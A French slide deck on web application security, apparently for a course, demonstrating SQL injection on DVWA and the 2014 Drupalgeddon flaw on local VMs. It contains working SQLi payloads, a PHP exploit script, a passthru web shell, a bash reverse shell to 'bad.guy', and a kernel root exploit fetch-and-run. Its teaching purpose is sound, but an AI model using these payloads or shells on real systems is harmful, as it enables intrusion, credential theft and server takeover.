# Sécurité des applications web ## Disclaimer *Cette présentation explique comment marche les failles. Toutes les attaques sont réalisées sur des VMs en local. Il est vivement déconseillé de reproduire ces attaques sur une cible distante, sans la permission explicite de l'administrateur de cette cible!* ## monsite.com Utilisateur: <input type="text" name="username" value="mazenovi"><br /> Mot de passe: <input id="password" type="password" name="password" value="123admin"><br /> <input type="submit" value="s'authentifier"> ### Que se passe-t-il quand on appuie sur le bouton?<!-- .element class="fragment roll-in" --> ## basiquement ...  ### Où sont les failles de sécurité?<!-- .element class="fragment roll-in" --> * Le navigateur envoie le contenu des champs `Utilisateur` et `Mot passe` au serveur * en clair * Le serveur va chercher les informations concernant l' `Utilisateur` mazenovi dans sa base de données * dont le mot de passe * Le serveur compare ensuite la valeur du mot de passe issude la base de donnée avec celui qu'il a reçu du formulaire d'authentification * égalité = utilisateur authentifié * différence = utilisateur ou mot de passe invalide   * Lors de la transmission du mot de passe => utiliser https * il est très facile de transformer sa carte wifi en écouteur de paquet du réseau local https://www.aircrack-ng.org/ * Lors du stockage du mot de passe * Pourquoi? * Le mot de passe n'est jamais affiché et voilà ## https canal chiffré ## SQLi http://dv.wa/vulnerabilities/sqli/ Tout commence par un message d'erreur anodin http://dv.wa/vulnerabilities/sqli/?id='&Submit=Submit# intéressant! http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1#&Submit=Submit http://dv.wa/vulnerabilities/sqli/?id=%27+OR+1%3D1+%3B%23%23&Submit=Submit encore mieux mais on affiche toujours pas les mot de passe car on a pas la main sur la clause select on peut injecter une UNION () SELECT column_name(s) FROM table1 UNION SELECT column_name(s) FROM table2; mais les clauses select doivent être compatibles intuition : il y a Deux champs dans la clause SELECT de la requête Jouons avec la clause ORDER BY http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1 ORDER BY 2#&Submit=Submit http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) FROM users#&Submit=Submit Nous avons les mots de passes Montrer le code, préciser PHP5 Essayons les Aucun ne marche: nous avons récupérer des hasher des mot de passe **Bonne pratique** stocker les mots de passe hashés ce qui donne une autre saveur à ce genre de news https://www.numerama.com/tech/473877-facebook-a-stocke-des-millions-de-mots-de-passe-en-clair-ce-que-vous-risquez-ce-quil-faut-faire.html Si on veut aller plus on peut tenter de révéler les mots de passe en clair par table arc en ciel https://crackstation.net/ **Bonne pratique** stocker des mots de passe complexes. pour ce faire introduire des validations sur la robustesse du mot de passe. * min / maj / sécique / chiffres * long (surtout) ## revenons au SQLi * faille n°1 dans le top 10 owasp depuis plusieurs années * que peut on faire avec une SQLi à part lire des données sensibles telles que le mot de passe? * Corrompre des données * Dénis de services * Lecture / écriture sur le système de fichiers * Exécution de commandes arbitraires * n'apparaissent plus de manière aussi grossière grâce au requêtes préparées qui échappent les paramètres ## voyons un vrai faille drupal de 2014 et comment l'exploiter ## La faille * [Drupalgeddon - SA-CORE-2014-005 - Drupal core - SQL injection](https://www.drupal.org/SA-CORE-2014-005) * Version: 7.x < 7.32 * Date: 2014-October-15 * Security risk: [25/25 ( Highly Critical)](https://www.drupal.org/security-team/risk-levels) ## La faille [includes/database/database.inc](https://github.com/pressflow/7/commit/a0fee30d766a4760db96fac8aacac462e50f61b9) ligne 738 ```php foreach (array_filter($args, 'is_array') as $key => $data) { $new_keys = array(); foreach ($data as $i => $value) { $new_keys[$key . '_' . $i] = $value } } ``` * $i est un index de tableau de variables HTTP * les valeurs des clés de $new_keys sont utilisées comme paramètres d'une requête SQL plus loin * il y a donc possibilité d'injecter du code SQL dans les clés des paramètres HTTP ## La faille [includes/database/database.inc](https://github.com/pressflow/7/commit/a0fee30d766a4760db96fac8aacac462e50f61b9) ligne 738 ```php foreach (array_filter($args, 'is_array') as $key => $data) { $new_keys = array(); /* patched version begin */ foreach (array_values($data) as $i => $value) { /* patched version end */ $new_keys[$key . '_' . $i] = $value } } ``` * [array_values()](http://php.net/manual/fr/function.array-values.php) retourne les valeurs du tableau array et l'indexe de facon numérique Note: - combien de dev PHP? - combien utilisent array_values() - forcer le type des paramètres est une bonne option - debugging et dump variable à creuser - code drupal compliqué ou mal fait ## Trouver un système vulnérable sur le www * ne filtrer que les drupal vulnérables * [<i class="fa fa-github"></i> Dionach/CMSMap](https://github.com/Dionach/CMSmap) ```http $ python cmsmap.py -t http://drup.al ... [H] Drupal Vulnerable to SA-CORE-2014-005 ... ``` ## [Timeline grand publique](http://www.nbn.org.uk/News/Latest-news/Drupalgeddon-response.aspx) * 16 sept. 2014 : notification à Drupal * 15 oct. 2014 : publication du correctif * 29 oct. 2014 : [communication de Drupal (PSA-2014-003)](https://www.drupal.org/PSA-2014-003) * 3 nov. 2014 : release de deux exploits publiques ## Timeline côté attaquant * 16 sept. 2014 : notification à Drupal * 15 oct. 2014 : publication du correctif * 15 oct. 2014, 4h après : exploitations en cours… * 16 oct. 2014 : de très nombreux Drupal compromis… ## Exploitation manuelle remplacer ```html <input id="edit-name" name="name" type="text"> ``` par ```html <input name="name[0; DELETE FROM flood;;# ]" type="text" value="test3" /> <input name="name[0]" type="text" value="test" /> ``` <!-- .element class="fragment roll-in" --> Note: - mettre un mot de passe ## PoC [<i class="fa fa-github"></i> MKorostoff/drupalgeddon](https://github.com/MKorostoff/drupalgeddon) ```php $url = $argv[1]; $sql = $argv[2]; $sql = str_replace('{', '\' , CHAR(123), \'', $sql); $sql = str_replace('}', '\' , CHAR(125), \'', $sql); $sql = str_replace('[', '\' , CHAR(91), \'', $sql); $sql = str_replace(']', '\' , CHAR(93), \'', $sql); $sql = urlencode($sql); //Send a request to the user login form $post_data = "name[0%20;".$sql.";;#%20%20]=test3&name[0]=test&pass=test"; $post_data .= "&test2=test&form_build_id=&form_id=user_login_block&op=Log+in"; $params = array( 'http' => array( 'method' => 'POST', 'header' => "Content-Type: application/x-www-form-urlencoded\r\n", 'content' => $post_data ) ); $ctx = stream_context_create($params); $data = file_get_contents($url . '?q=node&destination=node', 1, $ctx); ``` ```shell $ php attack/inject-sql.php 'http://drup.al' 'DELETE FROM flood' ``` ## Backdoor rerésente 68% des attaques Simple backdoor shell ```php $malicious_file_to_upload = '<?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; passthru($_REQUEST["cmd"]); die; } phpinfo();'; ``` * [passthru()](http://php.net/manual/fr/function.passthru.php) * Sexy backdoor [http://www.r57shell.net/shell/c99.txt](http://www.r57shell.net/shell/c99.txt) ## Backdoor * Architecture Drupal * menu_router * un url = un callback + un tableau d'arguments sérialisés ```sql insert into menu_router values ('backdoor','','','file_put_contents', $attack_payload, '','','',0,0,0,'','','','','','','',0,'hacked','',0,''); ``` Payload ```php $attack_payload = array('sites/default/files/backdoor.php', $malicious_file_to_upload); $attack_payload = serialize($attack_payload); ``` [http://drup.al/backdoor](http://drup.al/backdoor) Note: - bien entendu on appelle pas ça backdoor - en réalité l'exploit de Matt Korostoff marche avec un cookie - deux ou trois échappement sont nécessaire - même pas besoin créer le compte admin hein ... - automatisable à souhait ## exploitation ```shell $ php attack/exploit.php 'http://drup.al' ``` * [http://drup.al/sites/default/files/backdoor.php](http://drup.al.com/sites/default/files/backdoor.php) * affiche phpinfo() * [http://drup.al/sites/default/files/backdoor.php?cmd=cat%20../settings.php](http://drup.al/sites/default/files/backdoor.php?cmd=cat%20../../sites/default/settings.php) * affiche les paramètres SQL ## exploitation ```shell nc -lvvp 1337 ``` met le poste de l'attaquant en écoute sur le port 1337 ```http http://drup.al/sites/default/files/backdoor.php? cmd=urlencode(bash -c 'bash -i >& /dev/tcp/bad.guy/1337 0>&1 ; bash'); ``` en version encodée ```http http://drup.al/sites/default/files/backdoor.php? cmd=bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2Fbad.guy%2F1337+0%3E%261+%3B+bash%27%0D%0``` * connecte le serveur sur l'IP de l'attaquant Note: - discuter [Bind VS Reverse shell](http://www.go4expert.com/articles/difference-bind-shell-reverse-shell-t25408/) - Bind shell improbable - ICMP Reverse Shell passe par le protocole ICMP - analyse des ping wireshark - [Bypassing corporate firewall with reverse ssh port forwarding](https://toic.org/blog/2009/reverse-ssh-port-forwarding/) - sur ma maquette ca marche aussi sur le port 80 ... ## escalade de privilèges * [Local root exploit](http://www.tux-planet.fr/local-root-exploit-pour-les-noyaux-linux-2-6-37-a-3-8-10/) * environ tous les 2 ans * [CVE-2013-2094](https://github.com/realtalk/cve-2013-2094) * fonctionne sur les archi 64bits uniquement * kernel de 2.6.37 à 3.8.10 ```shell $ # www.tux-planet.fr/public/hack/exploits/kernel/semtex.c is dead $ wget https://raw.githubusercontent.com/realtalk/cve-2013-2094/master/semtex.c $ gcc -O2 semtex.c $ ./a.out $ whoami ``` ## W00T <!-- .element width="100%"--> ## Moralité * un malheur n'arrive jamais seul * [c.f. loi de murphy](https://fr.wiktionary.org/wiki/loi_de_Murphy) * tout doit être à jour * système, lib, cms, services, ... * mieux vaut s'appuyer sur des communautés * réactives * préoccupées par la sécurité * bien suivre les mises à jour des produits * et patcher asap quand nécessaire